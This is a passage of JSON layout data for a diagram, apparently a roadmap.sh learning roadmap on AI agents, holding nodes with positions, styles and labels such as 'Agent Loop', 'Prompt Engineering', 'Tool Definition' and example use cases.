\"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"B8dzg61TGaknuruBgkEJd\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -157.99208093839397, \"y\": 495.31600089748076 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pricing of Common Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 332,\n      \"height\": 53,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 332, \"height\": 53 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"THJQQuiCmKGayd6EdcX9o\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -119.99208093839397, \"y\": 785.3948629248711 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"AI Agents 101\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"eeU25xBGXtFFisDckfn31\"\n      },\n      \"zIndex\": 999,\n      \"width\": 256,\n      \"height\": 56,\n      \"style\": {},\n      \"measured\": { \"width\": 256, \"height\": 56 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"aFZAm44nP5NefX_9TpT0A\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -123.49208093839397, \"y\": 949.928186295656 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are AI Agents?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        },\n        \"oldId\": \"2zsOUWJQ8e7wnoHmq1icG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 51,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 263, \"height\": 51 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"2zsOUWJQ8e7wnoHmq1icG\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -123.49208093839397, \"y\": 1004.928186295656 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What are Tools?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"b\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 332 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Eih4eybuYB3C2So8K0AT3\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 250.36750909294227, \"y\": 1002.928186295656 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Agent Loop\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 235, \"height\": 53 },\n      \"focusable\": true,\n      \"width\": 235,\n      \"height\": 53,\n      \"resizing\": false,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"LU76AhCYDjxdBhpMQ4eMU\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 248.86750909294227, \"y\": 754.9156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Perception / User Input\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZJTrun3jK3zBGOTm1jdMI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 233 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ycPRgRYR4lEBQr_xxHKnM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 248.86750909294227, \"y\": 807.9156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Reason and Plan\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZJTrun3jK3zBGOTm1jdMI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 233 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sHYd4KsKlmw5Im3nQ19W8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 248.86750909294227, \"y\": 860.9156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Acting / Tool Invocation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ZJTrun3jK3zBGOTm1jdMI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 233 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ZJTrun3jK3zBGOTm1jdMI\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 248.86750909294227, \"y\": 913.9156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Observation & Reflection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": { \"width\": 233 },\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wb8zEmsAX7VyNRPe-DHxw\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 212.99392181540966, \"y\": 760.4156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"1\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 23, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BkFgVFOtSkuzO0s9EJ3tc\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 211.49392181540966, \"y\": 813.4156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"2\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"vVshXAzK203UzQkgk2HrP\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kLZToxQ1iv0m5Po1TyLPw\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 211.49392181540966, \"y\": 919.4156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"4\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"fBn8SCyMuWS7fRLMJCgSy\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 582.80929781038, \"y\": 1002.5676406496057 },\n      \"width\": 284,\n      \"height\": 328,\n      \"style\": { \"width\": 219, \"height\": 183 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"fDFxKOTLw6O41OGVmRuyy\"\n      },\n      \"measured\": { \"width\": 284, \"height\": 328 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"TehqgcNFmS2Iy2TFrAz_r\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 643.30929781038, \"y\": 1011.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Example Usecases\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"JBorUqfR1T7kFzwHfdJm4\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 163, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PPdAutqJF5G60Eg9lYBND\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.30929781038, \"y\": 1054.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Personal assistant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"GAjuWyJl9CI1nqXBp6XCf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PK8w31GlvtmAuU92sHaqr\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.30929781038, \"y\": 1107.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Code generation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dyn1LSioema-Bf9lLTgUZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wKYEaPWNsR30TIpHaxSsq\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.30929781038, \"y\": 1160.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Data analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ok8vN7VtCgyef5x6aoQaL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5oLc-235bvKhApxzYFkEc\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.30929781038, \"y\": 1213.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Web Scraping / Crawling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ok8vN7VtCgyef5x6aoQaL\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ok8vN7VtCgyef5x6aoQaL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.30929781038, \"y\": 1266.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"NPC / Game AI\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1fiWPBV99E2YncqdCgUw2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"szfDDmz2gnjR2nL6oQIRT\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 483.48246683384076, \"y\": 1020.4853170279125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 99,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 99, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"vVshXAzK203UzQkgk2HrP\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 209.99392181540966, \"y\": 866.4156776926133 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"3\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 26, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Bn_BkthrVX_vOuwQzvPZa\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 595.185294294251, \"y\": 878.6146341150118 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Max Length\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1fiWPBV99E2YncqdCgUw2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 260,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 260, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"tyjeFUjjTGFVXRLOe1Oh1\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 254.86750909294227, \"y\": 1138.5676406496057 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"THJQQuiCmKGayd6EdcX9o\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 56,\n      \"style\": {},\n      \"measured\": { \"width\": 226, \"height\": 56 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Y8EqzFx3qxtrSh7bWbbV8\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -137.2455305579661, \"y\": 1140.0676406496057 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"What is Prompt Engineering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 53,\n      \"style\": {},\n      \"measured\": { \"width\": 296, \"height\": 53 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qFKFM2qNPEN7EoD0V-1SM\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1292.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Be specific in what you want\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6I42CoeWX-kkFXTKAY7rw\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1345.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Provide additional context\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"sUwdtOX550tSdceaeFPmF\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1398.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Use relevant technical terms\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"yulzE4ZNLhXOgHhG7BtZQ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1451.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Use Examples in your Prompt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"noTuUFnHSBzn7GKG9UZEi\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1504.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Iterate and Test your Prompts\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wwHHlEoPAx0TLxbtY6nMA\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -126.06066608698445, \"y\": 1557.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Specify Length, format etc\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 275,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 275, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"QWpwDrwySbmdDYJaR3UhQ\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -84.49208093839397, \"y\": 1254.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Writing Good Prompts\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 185, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wCOn2Lb_RlEKkVvdulRXj\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -137.2455305579661, \"y\": 1615.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Prompt Engineering Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/prompt-engineering\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4036d6\",\n        \"oldId\": \"Ynvi5skgC85lgm96V_p42\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 296, \"height\": 49 },\n      \"focusable\": true,\n      \"dragging\": false,\n      \"width\": 296,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"nlVToD-pmbBV2ikgrCQiO\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 253.26555040271785, \"y\": 1245.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tools / Actions\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"tyjeFUjjTGFVXRLOe1Oh1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 56,\n      \"style\": {},\n      \"measured\": { \"width\": 227, \"height\": 56 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"R1zdRA3UqlLOjfSw9Swx_\",\n      \"type\": \"horizontal\",\n      \"position\": { \"x\": 158.7544694420339, \"y\": 1263.8505644697545 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.75 }\n      },\n      \"zIndex\": 999,\n      \"width\": 106,\n      \"height\": 20,\n      \"style\": {},\n      \"measured\": { \"width\": 106, \"height\": 20 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"qakbxB8xe7Y8gejC5cZnK\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": 247.76555040271785, \"y\": 1372.6068144540936 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tool Definition\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Y8EqzFx3qxtrSh7bWbbV8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 238,\n      \"height\": 49,\n      \"style\": {},\n      \"measured\": { \"width\": 238, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"VpAF2EGz8HtnE-Xt3hzpf\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 266.26555040271785, \"y\": 1432.5238284556976 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Name and Description\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 189, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"0MUgaZi5vHHnhYYiXsIdX\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 266.26555040271785, \"y\": 1457.5238284556976 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Input / Output Schema\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 191, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ehSLDOPK-mndL9CXF60s5\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 266.26555040271785, \"y\": 1482.5238284556976 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Error Handling\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 128, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5Tu6zdcNbotuhVAwTYeh_\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 266.26555040271785, \"y\": 1507.5238284556976 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Usage Examples\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 145, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"gAGw6nEhIY9O5yYmfHTmv\",\n      \"type\": \"section\",\n      \"position\": { \"x\": 587.1975456690336, \"y\": 1375.1120497334348 },\n      \"width\": 283,\n      \"height\": 377,\n      \"style\": { \"width\": 219, \"height\": 183 },\n      \"selected\": true,\n      \"data\": {\n        \"style\": { \"backgroundColor\": \"#ffffff\", \"borderColor\": \"#000000\" },\n        \"oldId\": \"fBn8SCyMuWS7fRLMJCgSy\"\n      },\n      \"measured\": { \"width\": 283, \"height\": 377 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7AhPsyz0KfJkbn5THLOvb\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 651.1975456690336, \"y\": 1384.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Examples of Tools\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"oldId\": \"TehqgcNFmS2Iy2TFrAz_r\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 154, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kBtqT8AduLoYDWopj-V9_\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1427.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Web Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PPdAutqJF5G60Eg9lYBND\"\n      },\n      \"zIndex\": 999,\n      \"width\": 259,\n      \"height\": 49,\n      \"style\": { \"width\": 203, \"height\": 53 },\n      \"measured\": { \"width\": 259, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"mS0EVCkWuPN_GkVPng4A2\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 598.6975456690336, \"y\": 1480.0297261117416 },\n      \"selected\": true,\n      \"selectable\": true,\n      